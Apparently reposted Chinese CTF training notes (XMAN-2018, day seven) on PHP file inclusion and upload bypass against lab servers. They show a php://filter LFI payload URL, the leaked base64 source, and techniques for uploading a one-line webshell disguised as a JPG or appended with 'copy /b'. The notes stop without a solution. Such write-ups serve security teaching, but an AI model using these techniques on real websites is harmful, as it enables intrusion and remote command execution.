CTF-web XMAN-2018 第七天 web 檔案包含與cookie會話
阿新 • • 發佈:2019-01-06
優先看一看有沒有一些危險的函式,這樣很可能存在命令執行。 反引號可以直接執行系統命令。
不是php的話,會當做文字檔案顯示,還可以包含一個一句話木馬(對檔案型別沒有要求)
檔案包含作用
重用程式碼,相當於c語言標頭檔案的感覺。常見的幾個檔案包含函式,require沒有檔案就報錯,include會繼續執行
大佬例題
http://202.112.51.184:8007
檔案上傳
提示只能傳送影象,而且是jpg和gif,僅為伺服器端的副檔名檢測,本地無檢測,對內容沒有要求。直接弄一個一句話木馬,修改為jpg副檔名,上傳成功,提示我們id。
記住id找儲存的地址
發現問題沒,上邊那個地址就是意思有這個目錄,我們將檔案id弄上去
師傅說使用zip協議來執行我們的命令???、
老師提醒:
發現有一個引數在路徑後邊?page= ,那麼我們利用偽協議可以得到包含的檔案
http://202.112.51.184:8004/index.php?page=php://filter/convert.base64-encode/resource=index
PD9waHANCglyZXF1aXJlKCJoZWFkZXIucGhwIik7DQoJJHBhZ2U9IiI7DQoJaWYgKGlzc2V0KCRfR0VUWydwYWdlJ10pKQ0KCQkkcGFnZT0kX0dFVFsncGFnZSddLiIucGhwIjsNCgllbHNlDQoJCSRwYWdlPSJtYWluLnBocCI7DQoJaW5jbHVkZSgkcGFnZSk7DQo/Pg== 解碼,後可以得到原始碼 對副檔名白名單過濾,對MME型別進行檢測 =(content-type)
老師傅加強判斷版本(8007)
再次直接上傳xxx.jpg,加了一個伺服器MMI類判斷,通過標頭檔案的方式判斷檔案型別。
繞過:
加一個檔案頭就可以了,然而大師傅證明不能隨意加,暫時怎麼弄也不知道
大師傅例題2
http://202.112.51.184:9005
同樣的一個網站,但是存在一些問題
依舊先套路得到原始碼
<?php require("header.php"); $page=""; if (isset($_GET['page'])) { $page=strtolower($_GET['page']); $page=str_replace("#", "", $page); $page=str_replace("'", "", $page); $page=$_GET['page'].".php"; } else $page="main.php"; include($page); ?>
把# ‘ 都過濾了,然而也用不上啊...跟上一個沒啥區別
測試直接上傳一句話木馬a.jpg,可以上傳,得到ID,但是在uploads竟然沒有這個檔案,,,應該是被過濾了。
我們只好拼接一下二進位制了,將馬接在jpg後面。
copy /b a.jpg+b.jpg c.jpg a作為主檔案
copy /b a.jpg+b.jpg c.jpg a作為主檔案
將檔案上傳進去,也是不可以的,因為是採用了類似於檔案重寫的原理,將影象檔案的影象重新寫到另一個檔案,正好解釋了直接傳一句話木馬檔案就不存在了,拼接也不會有用,因為只寫了影象的部分,木馬的部分也不見了。那麼怎麼辦呢